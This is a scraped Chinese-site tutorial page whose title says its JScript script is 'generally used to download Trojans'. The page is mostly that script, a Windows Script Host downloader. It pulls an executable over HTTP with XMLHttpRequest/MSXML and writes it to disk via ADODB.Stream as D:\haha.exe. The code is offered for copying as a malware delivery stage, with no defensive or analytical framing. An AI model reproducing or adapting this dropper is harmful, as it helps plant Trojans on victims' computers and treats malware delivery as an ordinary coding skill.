Home > Web Front-end > JS Tutorial > body text

JScript script implements file download, generally used to download Trojans_javascript skills

WBOY
Release: 2016-05-16 18:42:58
Original
1589 people have browsed it

jscript version

Copy code The code is as follows:

var objArgs=WScript.Arguments;
var sGet=new ActiveXObject("ADODB.Stream"); ​​
var xGet=null;
try{
xGet=new XMLHttpRequest();
}catch(e){
try{
xGet=new ActiveXObject("Msxml2.XMLHTTP");
}catch(ex){
try{
xGet=new ActiveXObject("Microsoft.XMLHTTP");
}catch( e3){
xGet=null;
}
}
}
if(xGet != null){
xGet.Open("GET","http://localhost /aplan/mycalc.exe",0);
xGet.Send();
sGet.Mode=3;
sGet.Type=1;
sGet.Open();
sGet.Write(xGet.ResponseBody);
sGet.SaveToFile("D:\haha.exe",2);
}


For the vbscript version, please checkThis article.
Related labels:
source:php.cn
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template